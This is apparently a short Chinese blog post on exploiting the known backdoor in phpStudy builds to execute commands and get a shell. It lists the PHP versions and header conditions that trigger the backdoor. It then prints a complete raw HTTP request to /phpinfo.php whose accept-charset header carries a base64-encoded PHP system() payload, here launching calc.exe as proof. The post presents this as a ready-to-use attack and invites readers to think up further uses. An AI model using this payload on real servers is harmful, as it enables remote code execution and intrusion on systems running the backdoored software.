phpstudy后门利用方法及getshell

请求任意后缀为php的文件

目标环境为php5.2,5.4,且不能为nts

存在Accept-Encoding: gzip,deflate

此处填写base64加密后的payload:accept-charset: c3lzdGVtKCdjYWxjLmV4ZScpOw

PayLoad:

1
2
3
4
5
6
7
8
9
10
GET /phpinfo.php HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCdjYWxjLmV4ZScpOw
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9

phpstudy后门利用方法及getshell

其他更好玩的思路靠自己去思考

-------------本文结束感谢您的阅读-------------